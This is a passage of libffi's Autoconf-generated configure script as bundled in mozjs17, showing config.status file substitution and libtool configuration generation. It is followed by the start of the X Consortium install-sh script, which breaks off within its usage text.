*\|* | *\\* ) ac_sed_conf_input=`$as_echo "$configure_input" | sed 's/[\\\\&|]/\\\\&/g'`;; #( *) ac_sed_conf_input=$configure_input;; esac case $ac_tag in *:-:* | *:-) cat >"$tmp/stdin" \ || as_fn_error "could not create $ac_file" "$LINENO" 5 ;; esac ;; esac ac_dir=`$as_dirname -- "$ac_file" || $as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$ac_file" : 'X\(//\)[^/]' \| \ X"$ac_file" : 'X\(//\)$' \| \ X"$ac_file" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$ac_file" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` as_dir="$ac_dir"; as_fn_mkdir_p ac_builddir=. case "$ac_dir" in .) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_dir_suffix=/`$as_echo "$ac_dir" | sed 's|^\.[\\/]||'` # A ".." for each directory in $ac_dir_suffix. ac_top_builddir_sub=`$as_echo "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` case $ac_top_builddir_sub in "") ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; esac ;; esac ac_abs_top_builddir=$ac_pwd ac_abs_builddir=$ac_pwd$ac_dir_suffix # for backward compatibility: ac_top_builddir=$ac_top_build_prefix case $srcdir in .) # We are building in place. ac_srcdir=. ac_top_srcdir=$ac_top_builddir_sub ac_abs_top_srcdir=$ac_pwd ;; [\\/]* | ?:[\\/]* ) # Absolute name. ac_srcdir=$srcdir$ac_dir_suffix; ac_top_srcdir=$srcdir ac_abs_top_srcdir=$srcdir ;; *) # Relative name. ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix ac_top_srcdir=$ac_top_build_prefix$srcdir ac_abs_top_srcdir=$ac_pwd/$srcdir ;; esac ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix case $ac_mode in :F) # # CONFIG_FILE # case $INSTALL in [\\/$]* | ?:[\\/]* ) ac_INSTALL=$INSTALL ;; *) ac_INSTALL=$ac_top_build_prefix$INSTALL ;; esac ac_MKDIR_P=$MKDIR_P case $MKDIR_P in [\\/$]* | ?:[\\/]* ) ;; */*) ac_MKDIR_P=$ac_top_build_prefix$MKDIR_P ;; esac _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # If the template does not know about datarootdir, expand it. # FIXME: This hack should be removed a few years after 2.60. ac_datarootdir_hack=; ac_datarootdir_seen= ac_sed_dataroot=' /datarootdir/ { p q } /@datadir@/p /@docdir@/p /@infodir@/p /@localedir@/p /@mandir@/p' case `eval "sed -n \"\$ac_sed_dataroot\" $ac_file_inputs"` in *datarootdir*) ac_datarootdir_seen=yes;; *@datadir@*|*@docdir@*|*@infodir@*|*@localedir@*|*@mandir@*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&5 $as_echo "$as_me: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&2;} _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_datarootdir_hack=' s&@datadir@&$datadir&g s&@docdir@&$docdir&g s&@infodir@&$infodir&g s&@localedir@&$localedir&g s&@mandir@&$mandir&g s&\\\${datarootdir}&$datarootdir&g' ;; esac _ACEOF # Neutralize VPATH when `$srcdir' = `.'. # Shell code in configure.ac might set extrasub. # FIXME: do we really want to maintain this feature? cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_sed_extra="$ac_vpsub $extrasub _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 :t /@[a-zA-Z_][a-zA-Z_0-9]*@/!b s|@configure_input@|$ac_sed_conf_input|;t t s&@top_builddir@&$ac_top_builddir_sub&;t t s&@top_build_prefix@&$ac_top_build_prefix&;t t s&@srcdir@&$ac_srcdir&;t t s&@abs_srcdir@&$ac_abs_srcdir&;t t s&@top_srcdir@&$ac_top_srcdir&;t t s&@abs_top_srcdir@&$ac_abs_top_srcdir&;t t s&@builddir@&$ac_builddir&;t t s&@abs_builddir@&$ac_abs_builddir&;t t s&@abs_top_builddir@&$ac_abs_top_builddir&;t t s&@INSTALL@&$ac_INSTALL&;t t s&@MKDIR_P@&$ac_MKDIR_P&;t t $ac_datarootdir_hack " eval sed \"\$ac_sed_extra\" "$ac_file_inputs" | $AWK -f "$tmp/subs.awk" >$tmp/out \ || as_fn_error "could not create $ac_file" "$LINENO" 5 test -z "$ac_datarootdir_hack$ac_datarootdir_seen" && { ac_out=`sed -n '/\${datarootdir}/p' "$tmp/out"`; test -n "$ac_out"; } && { ac_out=`sed -n '/^[ ]*datarootdir[ ]*:*=/p' "$tmp/out"`; test -z "$ac_out"; } && { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file contains a reference to the variable \`datarootdir' which seems to be undefined. Please make sure it is defined." >&5 $as_echo "$as_me: WARNING: $ac_file contains a reference to the variable \`datarootdir' which seems to be undefined. Please make sure it is defined." >&2;} rm -f "$tmp/stdin" case $ac_file in -) cat "$tmp/out" && rm -f "$tmp/out";; *) rm -f "$ac_file" && mv "$tmp/out" "$ac_file";; esac \ || as_fn_error "could not create $ac_file" "$LINENO" 5 ;; :H) # # CONFIG_HEADER # if test x"$ac_file" != x-; then { $as_echo "/* $configure_input */" \ && eval '$AWK -f "$tmp/defines.awk"' "$ac_file_inputs" } >"$tmp/config.h" \ || as_fn_error "could not create $ac_file" "$LINENO" 5 if diff "$ac_file" "$tmp/config.h" >/dev/null 2>&1; then { $as_echo "$as_me:${as_lineno-$LINENO}: $ac_file is unchanged" >&5 $as_echo "$as_me: $ac_file is unchanged" >&6;} else rm -f "$ac_file" mv "$tmp/config.h" "$ac_file" \ || as_fn_error "could not create $ac_file" "$LINENO" 5 fi else $as_echo "/* $configure_input */" \ && eval '$AWK -f "$tmp/defines.awk"' "$ac_file_inputs" \ || as_fn_error "could not create -" "$LINENO" 5 fi # Compute "$ac_file"'s index in $config_headers. _am_arg="$ac_file" _am_stamp_count=1 for _am_header in $config_headers :; do case $_am_header in $_am_arg | $_am_arg:* ) break ;; * ) _am_stamp_count=`expr $_am_stamp_count + 1` ;; esac done echo "timestamp for $_am_arg" >`$as_dirname -- "$_am_arg" || $as_expr X"$_am_arg" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$_am_arg" : 'X\(//\)[^/]' \| \ X"$_am_arg" : 'X\(//\)$' \| \ X"$_am_arg" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$_am_arg" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'`/stamp-h$_am_stamp_count ;; :L) # # CONFIG_LINK # if test "$ac_source" = "$ac_file" && test "$srcdir" = '.'; then : else # Prefer the file from the source tree if names are identical. if test "$ac_source" = "$ac_file" || test ! -r "$ac_source"; then ac_source=$srcdir/$ac_source fi { $as_echo "$as_me:${as_lineno-$LINENO}: linking $ac_source to $ac_file" >&5 $as_echo "$as_me: linking $ac_source to $ac_file" >&6;} if test ! -r "$ac_source"; then as_fn_error "$ac_source: file not found" "$LINENO" 5 fi rm -f "$ac_file" # Try a relative symlink, then a hard link, then a copy. case $srcdir in [\\/$]* | ?:[\\/]* ) ac_rel_source=$ac_source ;; *) ac_rel_source=$ac_top_build_prefix$ac_source ;; esac ln -s "$ac_rel_source" "$ac_file" 2>/dev/null || ln "$ac_source" "$ac_file" 2>/dev/null || cp -p "$ac_source" "$ac_file" || as_fn_error "cannot link or copy $ac_source to $ac_file" "$LINENO" 5 fi ;; :C) { $as_echo "$as_me:${as_lineno-$LINENO}: executing $ac_file commands" >&5 $as_echo "$as_me: executing $ac_file commands" >&6;} ;; esac case $ac_file$ac_mode in "depfiles":C) test x"$AMDEP_TRUE" != x"" || { # Autoconf 2.62 quotes --file arguments for eval, but not when files # are listed without --file. Let's play safe and only enable the eval # if we detect the quoting. case $CONFIG_FILES in *\'*) eval set x "$CONFIG_FILES" ;; *) set x $CONFIG_FILES ;; esac shift for mf do # Strip MF so we end up with the name of the file. mf=`echo "$mf" | sed -e 's/:.*$//'` # Check whether this is an Automake generated Makefile or not. # We used to match only the files named `Makefile.in', but # some people rename them; so instead we look at the file content. # Grep'ing the first line is not enough: some people post-process # each Makefile.in and add a new line on top of each file to say so. # Grep'ing the whole file is not good either: AIX grep has a line # limit of 2048, but all sed's we know have understand at least 4000. if sed -n 's,^#.*generated by automake.*,X,p' "$mf" | grep X >/dev/null 2>&1; then dirpart=`$as_dirname -- "$mf" || $as_expr X"$mf" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$mf" : 'X\(//\)[^/]' \| \ X"$mf" : 'X\(//\)$' \| \ X"$mf" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$mf" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` else continue fi # Extract the definition of DEPDIR, am__include, and am__quote # from the Makefile without running `make'. DEPDIR=`sed -n 's/^DEPDIR = //p' < "$mf"` test -z "$DEPDIR" && continue am__include=`sed -n 's/^am__include = //p' < "$mf"` test -z "am__include" && continue am__quote=`sed -n 's/^am__quote = //p' < "$mf"` # When using ansi2knr, U may be empty or an underscore; expand it U=`sed -n 's/^U = //p' < "$mf"` # Find all dependency output files, they are included files with # $(DEPDIR) in their names. We invoke sed twice because it is the # simplest approach to changing $(DEPDIR) to its actual value in the # expansion. for file in `sed -n " s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$mf" | \ sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g' -e 's/\$U/'"$U"'/g'`; do # Make sure the directory exists. test -f "$dirpart/$file" && continue fdir=`$as_dirname -- "$file" || $as_expr X"$file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$file" : 'X\(//\)[^/]' \| \ X"$file" : 'X\(//\)$' \| \ X"$file" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$file" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` as_dir=$dirpart/$fdir; as_fn_mkdir_p # echo "creating $dirpart/$file" echo '# dummy' > "$dirpart/$file" done done } ;; "libtool":C) # See if we are running on zsh, and set the options which allow our # commands through without removal of \ escapes. if test -n "${ZSH_VERSION+set}" ; then setopt NO_GLOB_SUBST fi cfgfile="${ofile}T" trap "$RM \"$cfgfile\"; exit 1" 1 2 15 $RM "$cfgfile" cat <<_LT_EOF >> "$cfgfile" #! $SHELL # `$ECHO "$ofile" | sed 's%^.*/%%'` - Provide generalized library-building support services. # Generated automatically by $as_me ($PACKAGE$TIMESTAMP) $VERSION # Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: # NOTE: Changes made to this file will be lost: look at ltmain.sh. # # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005, # 2006, 2007, 2008 Free Software Foundation, Inc. # Written by Gordon Matzigkeit, 1996 # # This file is part of GNU Libtool. # # GNU Libtool is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 2 of # the License, or (at your option) any later version. # # As a special exception to the GNU General Public License, # if you distribute this file as part of a program or library that # is built using GNU Libtool, you may include this file under the # same distribution terms that you use for the rest of that program. # # GNU Libtool is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with GNU Libtool; see the file COPYING. If not, a copy # can be downloaded from http://www.gnu.org/licenses/gpl.html, or # obtained by writing to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # The names of the tagged configurations supported by this script. available_tags="" # ### BEGIN LIBTOOL CONFIG # Which release of libtool.m4 was used? macro_version=$macro_version macro_revision=$macro_revision # Whether or not to build shared libraries. build_libtool_libs=$enable_shared # Whether or not to build static libraries. build_old_libs=$enable_static # What type of objects to build. pic_mode=$pic_mode # Whether or not to optimize for fast installation. fast_install=$enable_fast_install # The host system. host_alias=$host_alias host=$host host_os=$host_os # The build system. build_alias=$build_alias build=$build build_os=$build_os # A sed program that does not truncate output. SED=$lt_SED # Sed that helps us avoid accidentally triggering echo(1) options like -n. Xsed="\$SED -e 1s/^X//" # A grep program that handles long lines. GREP=$lt_GREP # An ERE matcher. EGREP=$lt_EGREP # A literal string matcher. FGREP=$lt_FGREP # A BSD- or MS-compatible name lister. NM=$lt_NM # Whether we need soft or hard links. LN_S=$lt_LN_S # What is the maximum length of a command? max_cmd_len=$max_cmd_len # Object file suffix (normally "o"). objext=$ac_objext # Executable file suffix (normally ""). exeext=$exeext # whether the shell understands "unset". lt_unset=$lt_unset # turn spaces into newlines. SP2NL=$lt_lt_SP2NL # turn newlines into spaces. NL2SP=$lt_lt_NL2SP # How to create reloadable object files. reload_flag=$lt_reload_flag reload_cmds=$lt_reload_cmds # An object symbol dumper. OBJDUMP=$lt_OBJDUMP # Method to check whether dependent libraries are shared objects. deplibs_check_method=$lt_deplibs_check_method # Command to use when deplibs_check_method == "file_magic". file_magic_cmd=$lt_file_magic_cmd # The archiver. AR=$lt_AR AR_FLAGS=$lt_AR_FLAGS # A symbol stripping program. STRIP=$lt_STRIP # Commands used to install an old-style archive. RANLIB=$lt_RANLIB old_postinstall_cmds=$lt_old_postinstall_cmds old_postuninstall_cmds=$lt_old_postuninstall_cmds # A C compiler. LTCC=$lt_CC # LTCC compiler flags. LTCFLAGS=$lt_CFLAGS # Take the output of nm and produce a listing of raw symbols and C names. global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe # Transform the output of nm in a proper C declaration. global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl # Transform the output of nm in a C name address pair. global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address # Transform the output of nm in a C name address pair when lib prefix is needed. global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix # The name of the directory that contains temporary libtool files. objdir=$objdir # Shell to use when invoking shell scripts. SHELL=$lt_SHELL # An echo program that does not interpret backslashes. ECHO=$lt_ECHO # Used to examine libraries when file_magic_cmd begins with "file". MAGIC_CMD=$MAGIC_CMD # Must we lock files when doing compilation? need_locks=$lt_need_locks # Tool to manipulate archived DWARF debug symbol files on Mac OS X. DSYMUTIL=$lt_DSYMUTIL # Tool to change global to local symbols on Mac OS X. NMEDIT=$lt_NMEDIT # Tool to manipulate fat objects and archives on Mac OS X. LIPO=$lt_LIPO # ldd/readelf like tool for Mach-O binaries on Mac OS X. OTOOL=$lt_OTOOL # ldd/readelf like tool for 64 bit Mach-O binaries on Mac OS X 10.4. OTOOL64=$lt_OTOOL64 # Old archive suffix (normally "a"). libext=$libext # Shared library suffix (normally ".so"). shrext_cmds=$lt_shrext_cmds # The commands to extract the exported symbol list from a shared archive. extract_expsyms_cmds=$lt_extract_expsyms_cmds # Variables whose values should be saved in libtool wrapper scripts and # restored at link time. variables_saved_for_relink=$lt_variables_saved_for_relink # Do we need the "lib" prefix for modules? need_lib_prefix=$need_lib_prefix # Do we need a version for libraries? need_version=$need_version # Library versioning type. version_type=$version_type # Shared library runtime path variable. runpath_var=$runpath_var # Shared library path variable. shlibpath_var=$shlibpath_var # Is shlibpath searched before the hard-coded library search path? shlibpath_overrides_runpath=$shlibpath_overrides_runpath # Format of library name prefix. libname_spec=$lt_libname_spec # List of archive names. First name is the real one, the rest are links. # The last name is the one that the linker finds with -lNAME library_names_spec=$lt_library_names_spec # The coded name of the library, if different from the real name. soname_spec=$lt_soname_spec # Command to use after installation of a shared archive. postinstall_cmds=$lt_postinstall_cmds # Command to use after uninstallation of a shared archive. postuninstall_cmds=$lt_postuninstall_cmds # Commands used to finish a libtool library installation in a directory. finish_cmds=$lt_finish_cmds # As "finish_cmds", except a single script fragment to be evaled but # not shown. finish_eval=$lt_finish_eval # Whether we should hardcode library paths into libraries. hardcode_into_libs=$hardcode_into_libs # Compile-time system search path for libraries. sys_lib_search_path_spec=$lt_sys_lib_search_path_spec # Run-time system search path for libraries. sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec # Whether dlopen is supported. dlopen_support=$enable_dlopen # Whether dlopen of programs is supported. dlopen_self=$enable_dlopen_self # Whether dlopen of statically linked programs is supported. dlopen_self_static=$enable_dlopen_self_static # Commands to strip libraries. old_striplib=$lt_old_striplib striplib=$lt_striplib # The linker used to build libraries. LD=$lt_LD # Commands used to build an old-style archive. old_archive_cmds=$lt_old_archive_cmds # A language specific compiler. CC=$lt_compiler # Is the compiler the GNU compiler? with_gcc=$GCC # Compiler flag to turn off builtin functions. no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag # How to pass a linker flag through the compiler. wl=$lt_lt_prog_compiler_wl # Additional compiler flags for building library objects. pic_flag=$lt_lt_prog_compiler_pic # Compiler flag to prevent dynamic linking. link_static_flag=$lt_lt_prog_compiler_static # Does compiler simultaneously support -c and -o options? compiler_c_o=$lt_lt_cv_prog_compiler_c_o # Whether or not to add -lc for building shared libraries. build_libtool_need_lc=$archive_cmds_need_lc # Whether or not to disallow shared libs when runtime libs are static. allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes # Compiler flag to allow reflexive dlopens. export_dynamic_flag_spec=$lt_export_dynamic_flag_spec # Compiler flag to generate shared objects directly from archives. whole_archive_flag_spec=$lt_whole_archive_flag_spec # Whether the compiler copes with passing no objects directly. compiler_needs_object=$lt_compiler_needs_object # Create an old-style archive from a shared archive. old_archive_from_new_cmds=$lt_old_archive_from_new_cmds # Create a temporary old-style archive to link instead of a shared archive. old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds # Commands used to build a shared archive. archive_cmds=$lt_archive_cmds archive_expsym_cmds=$lt_archive_expsym_cmds # Commands used to build a loadable module if different from building # a shared archive. module_cmds=$lt_module_cmds module_expsym_cmds=$lt_module_expsym_cmds # Whether we are building with GNU ld or not. with_gnu_ld=$lt_with_gnu_ld # Flag that allows shared libraries with undefined symbols to be built. allow_undefined_flag=$lt_allow_undefined_flag # Flag that enforces no undefined symbols. no_undefined_flag=$lt_no_undefined_flag # Flag to hardcode \$libdir into a binary during linking. # This must work even if \$libdir does not exist hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec # If ld is used when linking, flag to hardcode \$libdir into a binary # during linking. This must work even if \$libdir does not exist. hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld # Whether we need a single "-rpath" flag with a separated argument. hardcode_libdir_separator=$lt_hardcode_libdir_separator # Set to "yes" if using DIR/libNAME\${shared_ext} during linking hardcodes # DIR into the resulting binary. hardcode_direct=$hardcode_direct # Set to "yes" if using DIR/libNAME\${shared_ext} during linking hardcodes # DIR into the resulting binary and the resulting library dependency is # "absolute",i.e impossible to change by setting \${shlibpath_var} if the # library is relocated. hardcode_direct_absolute=$hardcode_direct_absolute # Set to "yes" if using the -LDIR flag during linking hardcodes DIR # into the resulting binary. hardcode_minus_L=$hardcode_minus_L # Set to "yes" if using SHLIBPATH_VAR=DIR during linking hardcodes DIR # into the resulting binary. hardcode_shlibpath_var=$hardcode_shlibpath_var # Set to "yes" if building a shared library automatically hardcodes DIR # into the library and all subsequent libraries and executables linked # against it. hardcode_automatic=$hardcode_automatic # Set to yes if linker adds runtime paths of dependent libraries # to runtime path list. inherit_rpath=$inherit_rpath # Whether libtool must link a program against all its dependency libraries. link_all_deplibs=$link_all_deplibs # Fix the shell variable \$srcfile for the compiler. fix_srcfile_path=$lt_fix_srcfile_path # Set to "yes" if exported symbols are required. always_export_symbols=$always_export_symbols # The commands to list exported symbols. export_symbols_cmds=$lt_export_symbols_cmds # Symbols that should not be listed in the preloaded symbols. exclude_expsyms=$lt_exclude_expsyms # Symbols that must always be exported. include_expsyms=$lt_include_expsyms # Commands necessary for linking programs (against libraries) with templates. prelink_cmds=$lt_prelink_cmds # Specify filename containing input files. file_list_spec=$lt_file_list_spec # How to hardcode a shared library path into an executable. hardcode_action=$hardcode_action # ### END LIBTOOL CONFIG _LT_EOF case $host_os in aix3*) cat <<\_LT_EOF >> "$cfgfile" # AIX sometimes has problems with the GCC collect2 program. For some # reason, if we set the COLLECT_NAMES environment variable, the problems # vanish in a puff of smoke. if test "X${COLLECT_NAMES+set}" != Xset; then COLLECT_NAMES= export COLLECT_NAMES fi _LT_EOF ;; esac ltmain="$ac_aux_dir/ltmain.sh" # We use sed instead of cat because bash on DJGPP gets confused if # if finds mixed CR/LF and LF-only lines. Since sed operates in # text mode, it properly converts lines to CR/LF. This bash problem # is reportedly fixed, but why not run on old versions too? sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \ || (rm -f "$cfgfile"; exit 1) case $xsi_shell in yes) cat << \_LT_EOF >> "$cfgfile" # func_dirname file append nondir_replacement # Compute the dirname of FILE. If nonempty, add APPEND to the result, # otherwise set result to NONDIR_REPLACEMENT. func_dirname () { case ${1} in */*) func_dirname_result="${1%/*}${2}" ;; * ) func_dirname_result="${3}" ;; esac } # func_basename file func_basename () { func_basename_result="${1##*/}" } # func_dirname_and_basename file append nondir_replacement # perform func_basename and func_dirname in a single function # call: # dirname: Compute the dirname of FILE. If nonempty, # add APPEND to the result, otherwise set result # to NONDIR_REPLACEMENT. # value returned in "$func_dirname_result" # basename: Compute filename of FILE. # value retuned in "$func_basename_result" # Implementation must be kept synchronized with func_dirname # and func_basename. For efficiency, we do not delegate to # those functions but instead duplicate the functionality here. func_dirname_and_basename () { case ${1} in */*) func_dirname_result="${1%/*}${2}" ;; * ) func_dirname_result="${3}" ;; esac func_basename_result="${1##*/}" } # func_stripname prefix suffix name # strip PREFIX and SUFFIX off of NAME. # PREFIX and SUFFIX must not contain globbing or regex special # characters, hashes, percent signs, but SUFFIX may contain a leading # dot (in which case that matches only a dot). func_stripname () { # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are # positional parameters, so assign one to ordinary parameter first. func_stripname_result=${3} func_stripname_result=${func_stripname_result#"${1}"} func_stripname_result=${func_stripname_result%"${2}"} } # func_opt_split func_opt_split () { func_opt_split_opt=${1%%=*} func_opt_split_arg=${1#*=} } # func_lo2o object func_lo2o () { case ${1} in *.lo) func_lo2o_result=${1%.lo}.${objext} ;; *) func_lo2o_result=${1} ;; esac } # func_xform libobj-or-source func_xform () { func_xform_result=${1%.*}.lo } # func_arith arithmetic-term... func_arith () { func_arith_result=$(( $* )) } # func_len string # STRING may not start with a hyphen. func_len () { func_len_result=${#1} } _LT_EOF ;; *) # Bourne compatible functions. cat << \_LT_EOF >> "$cfgfile" # func_dirname file append nondir_replacement # Compute the dirname of FILE. If nonempty, add APPEND to the result, # otherwise set result to NONDIR_REPLACEMENT. func_dirname () { # Extract subdirectory from the argument. func_dirname_result=`$ECHO "X${1}" | $Xsed -e "$dirname"` if test "X$func_dirname_result" = "X${1}"; then func_dirname_result="${3}" else func_dirname_result="$func_dirname_result${2}" fi } # func_basename file func_basename () { func_basename_result=`$ECHO "X${1}" | $Xsed -e "$basename"` } # func_stripname prefix suffix name # strip PREFIX and SUFFIX off of NAME. # PREFIX and SUFFIX must not contain globbing or regex special # characters, hashes, percent signs, but SUFFIX may contain a leading # dot (in which case that matches only a dot). # func_strip_suffix prefix name func_stripname () { case ${2} in .*) func_stripname_result=`$ECHO "X${3}" \ | $Xsed -e "s%^${1}%%" -e "s%\\\\${2}\$%%"`;; *) func_stripname_result=`$ECHO "X${3}" \ | $Xsed -e "s%^${1}%%" -e "s%${2}\$%%"`;; esac } # sed scripts: my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q' my_sed_long_arg='1s/^-[^=]*=//' # func_opt_split func_opt_split () { func_opt_split_opt=`$ECHO "X${1}" | $Xsed -e "$my_sed_long_opt"` func_opt_split_arg=`$ECHO "X${1}" | $Xsed -e "$my_sed_long_arg"` } # func_lo2o object func_lo2o () { func_lo2o_result=`$ECHO "X${1}" | $Xsed -e "$lo2o"` } # func_xform libobj-or-source func_xform () { func_xform_result=`$ECHO "X${1}" | $Xsed -e 's/\.[^.]*$/.lo/'` } # func_arith arithmetic-term... func_arith () { func_arith_result=`expr "$@"` } # func_len string # STRING may not start with a hyphen. func_len () { func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len` } _LT_EOF esac case $lt_shell_append in yes) cat << \_LT_EOF >> "$cfgfile" # func_append var value # Append VALUE to the end of shell variable VAR. func_append () { eval "$1+=\$2" } _LT_EOF ;; *) cat << \_LT_EOF >> "$cfgfile" # func_append var value # Append VALUE to the end of shell variable VAR. func_append () { eval "$1=\$$1\$2" } _LT_EOF ;; esac sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \ || (rm -f "$cfgfile"; exit 1) mv -f "$cfgfile" "$ofile" || (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile") chmod +x "$ofile" ;; "include":C) test -d include || mkdir include ;; "src":C) test -d src || mkdir src test -d src/$TARGETDIR || mkdir src/$TARGETDIR ;; esac done # for ac_tag as_fn_exit 0 _ACEOF ac_clean_files=$ac_clean_files_save test $ac_write_fail = 0 || as_fn_error "write failure creating $CONFIG_STATUS" "$LINENO" 5 # configure is writing to config.log, and then calls config.status. # config.status does its own redirection, appending to config.log. # Unfortunately, on DOS this fails, as config.log is still kept open # by configure, so config.status won't be able to write to it; its # output is simply discarded. So we exec the FD to /dev/null, # effectively closing config.log, so it can be properly (re)opened and # appended to by config.status. When coming back to configure, we # need to make the FD available again. if test "$no_create" != yes; then ac_cs_success=: ac_config_status_args= test "$silent" = yes && ac_config_status_args="$ac_config_status_args --quiet" exec 5>/dev/null $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false exec 5>>config.log # Use ||, not &&, to avoid exiting from the if with $? = 1, which # would make configure fail if this is the last instruction. $ac_cs_success || as_fn_exit $? fi if test -n "$ac_unrecognized_opts" && test "$enable_option_checking" != no; then { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: unrecognized options: $ac_unrecognized_opts" >&5 $as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2;} fi mozjs17.0.0/js/src/ctypes/libffi/install-sh0000775000175000017500000002201712106270662020553 0ustar sstanglsstangl#!/bin/sh # install - install a program, script, or datafile scriptversion=2004-12-17.09 # This originates from X11R5 (mit/util/scripts/install.sh), which was # later released in X11R6 (xc/config/util/install.sh) with the # following copyright and license. # # Copyright (C) 1994 X Consortium # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or # sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN # AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNEC- # TION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # # Except as contained in this notice, the name of the X Consortium shall not # be used in advertising or otherwise to promote the sale, use or other deal- # ings in this Software without prior written authorization from the X Consor- # tium. # # # FSF changes to this file are in the public domain. # # Calling this script install-sh is preferred over install.sh, to prevent # `make' implicit rules from creating a file called install from it # when there is no Makefile. # # This script is compatible with the BSD install script, but was written # from scratch. It can only install one file at a time, a restriction # shared with many OS's install programs. # set DOITPROG to echo to test this script # Don't use :- since 4.3BSD and earlier shells don't like it. doit="${DOITPROG-}" # put in absolute paths if you don't have them in your path; or use env. vars. mvprog="${MVPROG-mv}" cpprog="${CPPROG-cp}" chmodprog="${CHMODPROG-chmod}" chownprog="${CHOWNPROG-chown}" chgrpprog="${CHGRPPROG-chgrp}" stripprog="${STRIPPROG-strip}" rmprog="${RMPROG-rm}" mkdirprog="${MKDIRPROG-mkdir}" chmodcmd="$chmodprog 0755" chowncmd= chgrpcmd= stripcmd= rmcmd="$rmprog -f" mvcmd="$mvprog" src= dst= dir_arg= dstarg= no_target_directory= usage="Usage: $0 [OPTION]... [-T] SRCFILE DSTFILE or: $0 [OPTION]... SRCFILES... DIRECTORY or: $0 [OPTION]... -t DIRECTORY SRCFILES... or: $0 [OPTION]... -d DIRECTORIES... In the 1st form, copy SRCFILE to DSTFILE. In the 2nd and 3rd, copy all SRCFILES to DIRECTORY. In the 4th, create DIRECTORIES. Options: -c (ignored) -d create directories instead of 